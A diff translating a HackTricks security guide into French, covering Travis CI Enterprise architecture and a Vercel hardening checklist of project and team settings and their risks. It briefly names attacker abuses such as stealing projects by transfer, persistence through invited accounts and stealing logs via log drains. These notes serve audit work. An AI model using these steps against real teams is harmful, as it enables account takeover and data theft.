||||
Commit all changes to your .travis.yml.
|
||||
```
|
||||
|
||||
Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
|
||||
Notez que lors du chiffrement d'un fichier, 2 variables d'environnement seront configurées dans le dépôt, telles que :
|
||||
|
||||
.png>)
|
||||
|
||||
## TravisCI Enterprise
|
||||
|
||||
Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
|
||||
Travis CI Enterprise est une **version sur site de Travis CI**, que vous pouvez déployer **dans votre infrastructure**. Pensez à la version ‘serveur’ de Travis CI. L'utilisation de Travis CI vous permet d'activer un système d'intégration continue/déploiement continu (CI/CD) facile à utiliser dans un environnement que vous pouvez configurer et sécuriser comme vous le souhaitez.
|
||||
|
||||
**Travis CI Enterprise consists of two major parts:**
|
||||
**Travis CI Enterprise se compose de deux parties principales :**
|
||||
|
||||
1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
|
||||
2. TCI **Worker** and build environment images (also called OS images).
|
||||
1. Les **services TCI** (ou services principaux TCI), responsables de l'intégration avec les systèmes de contrôle de version, de l'autorisation des builds, de la planification des tâches de build, etc.
|
||||
2. Le **Worker TCI** et les images d'environnement de build (également appelées images OS).
|
||||
|
||||
**TCI Core services require the following:**
|
||||
**Les services principaux TCI nécessitent les éléments suivants :**
|
||||
|
||||
1. A **PostgreSQL11** (or later) database.
|
||||
2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
|
||||
3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
|
||||
1. Une base de données **PostgreSQL11** (ou ultérieure).
|
||||
2. Une infrastructure pour déployer un cluster Kubernetes ; il peut être déployé dans un cluster de serveurs ou sur une seule machine si nécessaire.
|
||||
3. En fonction de votre configuration, vous souhaiterez peut-être déployer et configurer certains des composants vous-même, par exemple, RabbitMQ - consultez le [Configuration de Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) pour plus de détails.
|
||||
|
||||
**TCI Worker requires the following:**
|
||||
**Le Worker TCI nécessite les éléments suivants :**
|
||||
|
||||
1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
|
||||
2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
|
||||
1. Une infrastructure où une image docker contenant le **Worker et une image de build liée peuvent être déployées**.
|
||||
2. Une connectivité à certains composants des services principaux Travis CI - consultez le [Configuration du Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) pour plus de détails.
|
||||
|
||||
The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
|
||||
Le nombre d'images OS de Worker TCI et d'environnement de build déployées déterminera la capacité totale concurrente du déploiement de Travis CI Enterprise dans votre infrastructure.
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,439 +2,436 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informations de base
|
||||
|
||||
In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
|
||||
Dans Vercel, une **équipe** est l'**environnement** complet qui appartient à un client et un **projet** est une **application**.
|
||||
|
||||
For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
|
||||
Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur avec la **permission de rôle de visualiseur** ou au moins **permission de visualiseur de projet sur les projets** à vérifier (au cas où vous n'auriez besoin de vérifier que les projets et non la configuration de l'équipe également).
|
||||
|
||||
## Project Settings
|
||||
## Paramètres du projet
|
||||
|
||||
### General
|
||||
### Général
|
||||
|
||||
**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
|
||||
**Objectif :** Gérer les paramètres fondamentaux du projet tels que le nom du projet, le framework et les configurations de build.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
- **Transfer**
|
||||
- **Misconfiguration:** Allows to transfer the project to another team
|
||||
- **Risk:** An attacker could steal the project
|
||||
- **Delete Project**
|
||||
- **Misconfiguration:** Allows to delete the project
|
||||
- **Risk:** Delete the prject
|
||||
- **Transfert**
|
||||
- **Mauvaise configuration :** Permet de transférer le projet à une autre équipe
|
||||
- **Risque :** Un attaquant pourrait voler le projet
|
||||
- **Supprimer le projet**
|
||||
- **Mauvaise configuration :** Permet de supprimer le projet 
|
||||
- **Risque :** Supprimer le projet
|
||||
|
||||
---
|
||||
|
||||
### Domains
|
||||
### Domaines
|
||||
|
||||
**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
|
||||
**Objectif :** Gérer les domaines personnalisés, les paramètres DNS et les configurations SSL.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
- **DNS Configuration Errors**
|
||||
- **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
|
||||
- **Risk:** Domain hijacking, traffic interception, and phishing attacks.
|
||||
- **SSL/TLS Certificate Management**
|
||||
- **Misconfiguration:** Using weak or expired SSL/TLS certificates.
|
||||
- **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
|
||||
- **DNSSEC Implementation**
|
||||
- **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
|
||||
- **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
|
||||
- **Environment used per domain**
|
||||
- **Misconfiguration:** Change the environment used by the domain in production.
|
||||
- **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
|
||||
- **Erreurs de configuration DNS**
|
||||
- **Mauvaise configuration :** Enregistrements DNS incorrects (A, CNAME) pointant vers des serveurs malveillants.
|
||||
- **Risque :** Détournement de domaine, interception de trafic et attaques de phishing.
|
||||
- **Gestion des certificats SSL/TLS**
|
||||
- **Mauvaise configuration :** Utilisation de certificats SSL/TLS faibles ou expirés.
|
||||
- **Risque :** Vulnérabilité aux attaques de type homme du milieu (MITM), compromettant l'intégrité et la confidentialité des données.
|
||||
- **Mise en œuvre de DNSSEC**
|
||||
- **Mauvaise configuration :** Échec de l'activation de DNSSEC ou paramètres DNSSEC incorrects.
|
||||
- **Risque :** Sensibilité accrue au spoofing DNS et aux attaques de poisoning de cache.
|
||||
- **Environnement utilisé par domaine**
|
||||
- **Mauvaise configuration :** Changer l'environnement utilisé par le domaine en production.
|
||||
- **Risque :** Exposer des secrets ou des fonctionnalités potentielles qui ne devraient pas être disponibles en production.
|
||||
|
||||
---
|
||||
|
||||
### Environments
|
||||
### Environnements
|
||||
|
||||
**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
|
||||
**Objectif :** Définir différents environnements (Développement, Prévisualisation, Production) avec des paramètres et des variables spécifiques.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
- **Environment Isolation**
|
||||
- **Misconfiguration:** Sharing environment variables across environments.
|
||||
- **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
|
||||
- **Access to Sensitive Environments**
|
||||
- **Misconfiguration:** Allowing broad access to production environments.
|
||||
- **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
|
||||
- **Isolation des environnements**
|
||||
- **Mauvaise configuration :** Partage des variables d'environnement entre les environnements.
|
||||
- **Risque :** Fuite de secrets de production dans les environnements de développement ou de prévisualisation, augmentant l'exposition.
|
||||
- **Accès aux environnements sensibles**
|
||||
- **Mauvaise configuration :** Autoriser un accès large aux environnements de production.
|
||||
- **Risque :** Changements non autorisés ou accès à des applications en direct, entraînant des temps d'arrêt potentiels ou des violations de données.
|
||||
|
||||
---
|
||||
|
||||
### Environment Variables
|
||||
### Variables d'environnement
|
||||
|
||||
**Purpose:** Manage environment-specific variables and secrets used by the application.
|
||||
**Objectif :** Gérer les variables et secrets spécifiques à l'environnement utilisés par l'application.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
- **Shared Environment Variables**
|
||||
- **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
- **Exposition de variables sensibles**
|
||||
- **Mauvaise configuration :** Préfixer les variables sensibles avec `NEXT_PUBLIC_`, les rendant accessibles côté client.
|
||||
- **Risque :** Exposition de clés API, d'identifiants de base de données ou d'autres données sensibles au public, entraînant des violations de données.
|
||||
- **Sensibles désactivés**
|
||||
- **Mauvaise configuration :** Si désactivé (par défaut), il est possible de lire les valeurs des secrets générés.
|
||||
- **Risque :** Augmentation de la probabilité d'exposition accidentelle ou d'accès non autorisé à des informations sensibles.
|
||||
- **Variables d'environnement partagées**
|
||||
- **Mauvaise configuration :** Ce sont des variables d'environnement définies au niveau de l'équipe et pourraient également contenir des informations sensibles.
|
||||
- **Risque :** Augmentation de la probabilité d'exposition accidentelle ou d'accès non autorisé à des informations sensibles.
|
||||
|
||||
---
|
||||
|
||||
### Git
|
||||
|
||||
**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
|
||||
**Objectif :** Configurer les intégrations de dépôt Git, les protections de branche et les déclencheurs de déploiement.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
- **Ignored Build Step (TODO)**
|
||||
- **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
|
||||
- **Risk:** TBD
|
||||
- **Étape de build ignorée (TODO)**
|
||||
- **Mauvaise configuration :** Il semble que cette option permette de configurer un script/commandes bash qui seront exécutés lorsqu'un nouveau commit est poussé sur Github, ce qui pourrait permettre RCE.
|
||||
- **Risque :** À déterminer
|
||||
|
||||
---
|
||||
|
||||
### Integrations
|
||||
### Intégrations
|
||||
|
||||
**Purpose:** Connect third-party services and tools to enhance project functionalities.
|
||||
**Objectif :** Connecter des services et outils tiers pour améliorer les fonctionnalités du projet.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
- **Insecure Third-Party Integrations**
|
||||
- **Misconfiguration:** Integrating with untrusted or insecure third-party services.
|
||||
- **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
|
||||
- **Over-Permissioned Integrations**
|
||||
- **Misconfiguration:** Granting excessive permissions to integrated services.
|
||||
- **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
|
||||
- **Lack of Integration Monitoring**
|
||||
- **Misconfiguration:** Failing to monitor and audit third-party integrations.
|
||||
- **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
|
||||
- **Intégrations tierces non sécurisées**
|
||||
- **Mauvaise configuration :** Intégration avec des services tiers non fiables ou non sécurisés.
|
||||
- **Risque :** Introduction de vulnérabilités, fuites de données ou portes dérobées via des intégrations compromises.
|
||||
- **Intégrations sur-autorisation**
|
||||
- **Mauvaise configuration :** Accorder des permissions excessives aux services intégrés.
|
||||
- **Risque :** Accès non autorisé aux ressources du projet, manipulation de données ou interruptions de service.
|
||||
- **Manque de surveillance des intégrations**
|
||||
- **Mauvaise configuration :** Échec de la surveillance et de l'audit des intégrations tierces.
|
||||
- **Risque :** Détection retardée des intégrations compromises, augmentant l'impact potentiel des violations de sécurité.
|
||||
|
||||
---
|
||||
|
||||
### Deployment Protection
|
||||
### Protection des déploiements
|
||||
|
||||
**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
|
||||
**Objectif :** Sécuriser les déploiements grâce à divers mécanismes de protection, contrôlant qui peut accéder et déployer dans vos environnements.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
**Vercel Authentication**
|
||||
**Authentification Vercel**
|
||||
|
||||
- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
|
||||
- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
|
||||
- **Mauvaise configuration :** Désactiver l'authentification ou ne pas appliquer de vérifications des membres de l'équipe.
|
||||
- **Risque :** Des utilisateurs non autorisés peuvent accéder aux déploiements, entraînant des violations de données ou un usage abusif de l'application.
|
||||
|
||||
**Protection Bypass for Automation**
|
||||
**Contournement de protection pour l'automatisation**
|
||||
|
||||
- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
|
||||
- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
|
||||
- **Mauvaise configuration :** Exposer le secret de contournement publiquement ou utiliser des secrets faibles.
|
||||
- **Risque :** Les attaquants peuvent contourner les protections de déploiement, accédant et manipulant des déploiements protégés.
|
||||
|
||||
**Shareable Links**
|
||||
**Liens partageables**
|
||||
|
||||
- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
|
||||
- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
|
||||
- **Mauvaise configuration :** Partager des liens sans discernement ou ne pas révoquer les liens obsolètes.
|
||||
- **Risque :** Accès non autorisé aux déploiements protégés, contournant l'authentification et les restrictions IP.
|
||||
|
||||
**OPTIONS Allowlist**
|
||||
**OPTIONS Liste blanche**
|
||||
|
||||
- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
|
||||
- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
|
||||
- **Mauvaise configuration :** Autoriser des chemins ou des points de terminaison sensibles trop larges.
|
||||
- **Risque :** Les attaquants peuvent exploiter des chemins non protégés pour effectuer des actions non autorisées ou contourner les vérifications de sécurité.
|
||||
|
||||
**Password Protection**
|
||||
**Protection par mot de passe**
|
||||
|
||||
- **Misconfiguration:** Using weak passwords or sharing them insecurely.
|
||||
- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
|
||||
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
|
||||
- **Mauvaise configuration :** Utiliser des mots de passe faibles ou les partager de manière non sécurisée.
|
||||
- **Risque :** Accès non autorisé aux déploiements si les mots de passe sont devinés ou divulgués.
|
||||
- **Remarque :** Disponible dans le plan **Pro** dans le cadre de la **Protection avancée des déploiements** pour un coût supplémentaire de 150 $/mois.
|
||||
|
||||
**Deployment Protection Exceptions**
|
||||
**Exceptions de protection des déploiements**
|
||||
|
||||
- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
|
||||
- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
|
||||
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
|
||||
- **Mauvaise configuration :** Ajouter des domaines de production ou sensibles à la liste des exceptions par inadvertance.
|
||||
- **Risque :** Exposition de déploiements critiques au public, entraînant des fuites de données ou un accès non autorisé.
|
||||
- **Remarque :** Disponible dans le plan **Pro** dans le cadre de la **Protection avancée des déploiements** pour un coût supplémentaire de 150 $/mois.
|
||||
|
||||
**Trusted IPs**
|
||||
**IPs de confiance**
|
||||
|
||||
- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
|
||||
- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
|
||||
- **Note:** Available on the **Enterprise** plan.
|
||||
- **Mauvaise configuration :** Spécification incorrecte des adresses IP ou des plages CIDR.
|
||||
- **Risque :** Utilisateurs légitimes étant bloqués ou IP non autorisées accédant.
|
||||
- **Remarque :** Disponible dans le plan **Enterprise**.
|
||||
|
||||
---
|
||||
|
||||
### Functions
|
||||
### Fonctions
|
||||
|
||||
**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
|
||||
**Objectif :** Configurer des fonctions sans serveur, y compris les paramètres d'exécution, l'allocation de mémoire et les politiques de sécurité.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
- **Nothing**
|
||||
- **Rien**
|
||||
|
||||
---
|
||||
|
||||
### Data Cache
|
||||
### Cache de données
|
||||
|
||||
**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
|
||||
**Objectif :** Gérer les stratégies et paramètres de mise en cache pour optimiser les performances et contrôler le stockage des données.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
- **Purge Cache**
|
||||
- **Misconfiguration:** It allows to delete all the cache.
|
||||
- **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
|
||||
- **Purger le cache**
|
||||
- **Mauvaise configuration :** Cela permet de supprimer tout le cache.
|
||||
- **Risque :** Utilisateurs non autorisés supprimant le cache, entraînant un potentiel DoS.
|
||||
|
||||
---
|
||||
|
||||
### Cron Jobs
|
||||
### Tâches Cron
|
||||
|
||||
**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
|
||||
**Objectif :** Planifier des tâches et scripts automatisés à exécuter à des intervalles spécifiés.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
- **Disable Cron Job**
|
||||
- **Misconfiguration:** It allows to disable cron jobs declared inside the code
|
||||
- **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
|
||||
- **Désactiver la tâche Cron**
|
||||
- **Mauvaise configuration :** Cela permet de désactiver les tâches cron déclarées dans le code
|
||||
- **Risque :** Interruption potentielle du service (selon ce que les tâches cron étaient censées faire)
|
||||
|
||||
---
|
||||
|
||||
### Log Drains
|
||||
### Drains de journal
|
||||
|
||||
**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
|
||||
**Objectif :** Configurer des services de journalisation externes pour capturer et stocker les journaux d'application pour la surveillance et l'audit.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
- Nothing (managed from teams settings)
|
||||
- Rien (géré depuis les paramètres d'équipe)
|
||||
|
||||
---
|
||||
|
||||
### Security
|
||||
### Sécurité
|
||||
|
||||
**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
|
||||
**Objectif :** Hub central pour divers paramètres liés à la sécurité affectant l'accès au projet, la protection des sources, et plus encore.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
**Build Logs and Source Protection**
|
||||
**Journaux de build et protection des sources**
|
||||
|
||||
- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
|
||||
- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
|
||||
- **Mauvaise configuration :** Désactiver la protection ou exposer les chemins `/logs` et `/src` publiquement.
|
||||
- **Risque :** Accès non autorisé aux journaux de build et au code source, entraînant des fuites d'informations et une exploitation potentielle des vulnérabilités.
|
||||
|
||||
**Git Fork Protection**
|
||||
**Protection des forks Git**
|
||||
|
||||
- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
|
||||
- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
|
||||
- **Mauvaise configuration :** Autoriser des demandes de tirage non autorisées sans examens appropriés.
|
||||
- **Risque :** Du code malveillant peut être fusionné dans la base de code, introduisant des vulnérabilités ou des portes dérobées.
|
||||
|
||||
**Secure Backend Access with OIDC Federation**
|
||||
**Accès sécurisé au backend avec fédération OIDC**
|
||||
|
||||
- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
|
||||
- **Risk:** Unauthorized access to backend services through flawed authentication flows.
|
||||
- **Mauvaise configuration :** Configuration incorrecte des paramètres OIDC ou utilisation d'URL d'émetteur non sécurisées.
|
||||
- **Risque :** Accès non autorisé aux services backend via des flux d'authentification défectueux.
|
||||
|
||||
**Deployment Retention Policy**
|
||||
**Politique de conservation des déploiements**
|
||||
|
||||
- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
|
||||
- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
|
||||
- **Mauvaise configuration :** Définir des périodes de conservation trop courtes (perte de l'historique des déploiements) ou trop longues (conservation de données inutiles).
|
||||
- **Risque :** Incapacité à effectuer des rollbacks lorsque nécessaire ou risque accru d'exposition des données provenant d'anciens déploiements.
|
||||
|
||||
**Recently Deleted Deployments**
|
||||
**Déploiements récemment supprimés**
|
||||
|
||||
- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
|
||||
- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
|
||||
- **Mauvaise configuration :** Ne pas surveiller les déploiements supprimés ou se fier uniquement aux suppressions automatisées.
|
||||
- **Risque :** Perte de l'historique critique des déploiements, entravant les audits et les rollbacks.
|
||||
|
||||
---
|
||||
|
||||
### Advanced
|
||||
### Avancé
|
||||
|
||||
**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
|
||||
**Objectif :** Accès à des paramètres de projet supplémentaires pour affiner les configurations et améliorer la sécurité.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
**Directory Listing**
|
||||
**Liste des répertoires**
|
||||
|
||||
- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
|
||||
- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
|
||||
- **Mauvaise configuration :** Activer la liste des répertoires permet aux utilisateurs de voir le contenu des répertoires sans fichier d'index.
|
||||
- **Risque :** Exposition de fichiers sensibles, de la structure de l'application et de points d'entrée potentiels pour des attaques.
|
||||
|
||||
---
|
||||
|
||||
## Project Firewall
|
||||
## Pare-feu du projet
|
||||
|
||||
### Firewall
|
||||
### Pare-feu
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
**Enable Attack Challenge Mode**
|
||||
**Activer le mode défi d'attaque**
|
||||
|
||||
- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
|
||||
- **Risk:** Potential user experience problems.
|
||||
- **Mauvaise configuration :** Activer cela améliore les défenses de l'application web contre les DoS mais au détriment de l'utilisabilité
|
||||
- **Risque :** Problèmes potentiels d'expérience utilisateur.
|
||||
|
||||
### Custom Rules & IP Blocking
|
||||
### Règles personnalisées et blocage IP
|
||||
|
||||
- **Misconfiguration:** Allows to unblock/block traffic
|
||||
- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
|
||||
- **Mauvaise configuration :** Permet de débloquer/bloquer le trafic
|
||||
- **Risque :** Potentiel DoS permettant un trafic malveillant ou bloquant un trafic bénin
|
||||
|
||||
---
|
||||
|
||||
## Project Deployment
|
||||
## Déploiement du projet
|
||||
|
||||
### Source
|
||||
|
||||
- **Misconfiguration:** Allows access to read the complete source code of the application
|
||||
- **Risk:** Potential exposure of sensitive information
|
||||
- **Mauvaise configuration :** Permet d'accéder à la lecture du code source complet de l'application
|
||||
- **Risque :** Exposition potentielle d'informations sensibles
|
||||
|
||||
### Skew Protection
|
||||
### Protection contre le déséquilibre
|
||||
|
||||
- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
|
||||
- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
|
||||
- **Mauvaise configuration :** Cette protection garantit que l'application client et serveur utilise toujours la même version afin qu'il n'y ait pas de désynchronisations où le client utilise une version différente de celle du serveur et donc ils ne se comprennent pas.
|
||||
- **Risque :** Désactiver cela (si activé) pourrait causer des problèmes de DoS dans de nouveaux déploiements à l'avenir
|
||||
|
||||
---
|
||||
|
||||
## Team Settings
|
||||
## Paramètres de l'équipe
|
||||
|
||||
### General
|
||||
### Général
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
- **Transfer**
|
||||
- **Misconfiguration:** Allows to transfer all the projects to another team
|
||||
- **Risk:** An attacker could steal the projects
|
||||
- **Delete Project**
|
||||
- **Misconfiguration:** Allows to delete the team with all the projects
|
||||
- **Risk:** Delete the projects
|
||||
- **Transfert**
|
||||
- **Mauvaise configuration :** Permet de transférer tous les projets à une autre équipe
|
||||
- **Risque :** Un attaquant pourrait voler les projets
|
||||
- **Supprimer le projet**
|
||||
- **Mauvaise configuration :** Permet de supprimer l'équipe avec tous les projets 
|
||||
- **Risque :** Supprimer les projets
|
||||
|
||||
---
|
||||
|
||||
### Billing
|
||||
### Facturation
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
- **Speed Insights Cost Limit**
|
||||
- **Misconfiguration:** An attacker could increase this number
|
||||
- **Risk:** Increased costs
|
||||
- **Limite de coût des Speed Insights**
|
||||
- **Mauvaise configuration :** Un attaquant pourrait augmenter ce nombre
|
||||
- **Risque :** Coûts accrus
|
||||
|
||||
---
|
||||
|
||||
### Members
|
||||
### Membres
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
- **Add members**
|
||||
- **Misconfiguration:** An attacker could maintain persitence inviting an account he control
|
||||
- **Risk:** Attacker persistence
|
||||
- **Roles**
|
||||
- **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
|
||||
- **Risk**: Increate the exposure of the Vercel Team
|
||||
- **Ajouter des membres**
|
||||
- **Mauvaise configuration :** Un attaquant pourrait maintenir sa persistance en invitant un compte qu'il contrôle
|
||||
- **Risque :** Persistance de l'attaquant
|
||||
- **Rôles**
|
||||
- **Mauvaise configuration :** Accorder trop de permissions à des personnes qui n'en ont pas besoin augmente le risque de la configuration de Vercel. Vérifiez tous les rôles possibles dans [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
|
||||
- **Risque :** Augmente l'exposition de l'équipe Vercel
|
||||
|
||||
---
|
||||
|
||||
### Access Groups
|
||||
### Groupes d'accès
|
||||
|
||||
An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
|
||||
Un **Groupe d'accès** dans Vercel est une collection de projets et de membres d'équipe avec des attributions de rôles prédéfinies, permettant une gestion d'accès centralisée et rationalisée à travers plusieurs projets.
|
||||
|
||||
**Potential Misconfigurations:**
|
||||
**Mauvaises configurations potentielles :**
|
||||
|
||||
- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
|
||||
- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
|
||||
- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
|
||||
- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
|
||||
- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
|
||||
- **Sur-autorisation des membres :** Attribuer des rôles avec plus de permissions que nécessaire, entraînant un accès ou des actions non autorisées.
|
||||
- **Attributions de rôles incorrectes :** Attribuer incorrectement des rôles qui ne correspondent pas aux responsabilités des membres de l'équipe, provoquant une élévation de privilèges.
|
||||
- **Manque de séparation des projets :** Échec de la séparation des projets sensibles, permettant un accès plus large que prévu.
|
||||
- **Gestion de groupe insuffisante :** Ne pas examiner ou mettre à jour régulièrement les groupes d'accès, entraînant des permissions d'accès obsolètes ou inappropriées.
|
||||
- **Définitions de rôles incohérentes :** Utilisation de définitions de rôles incohérentes ou peu claires à travers différents groupes d'accès, entraînant confusion et lacunes de sécurité.
|
||||
|
||||
---
|
||||
|
||||
### Log Drains
|
||||
### Drains de journal
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
- **Log Drains to third parties:**
|
||||
- **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
|
||||
- **Risk:** Partial persistence
|
||||
- **Drains de journal vers des tiers :**
|
||||
- **Mauvaise configuration :** Un attaquant pourrait configurer un Drain de journal pour voler les journaux
|
||||
- **Risque :** Persistance partielle
|
||||
|
||||
---
|
||||
|
||||
### Security & Privacy
|
||||
### Sécurité et confidentialité
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
|
||||
- **Misconfiguration:**
|
||||
- Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
|
||||
- Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
|
||||
- **Risks:**
|
||||
- **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
|
||||
- **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
|
||||
- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
|
||||
- **Misconfiguration:** Not adding critical Git scopes to the protected list.
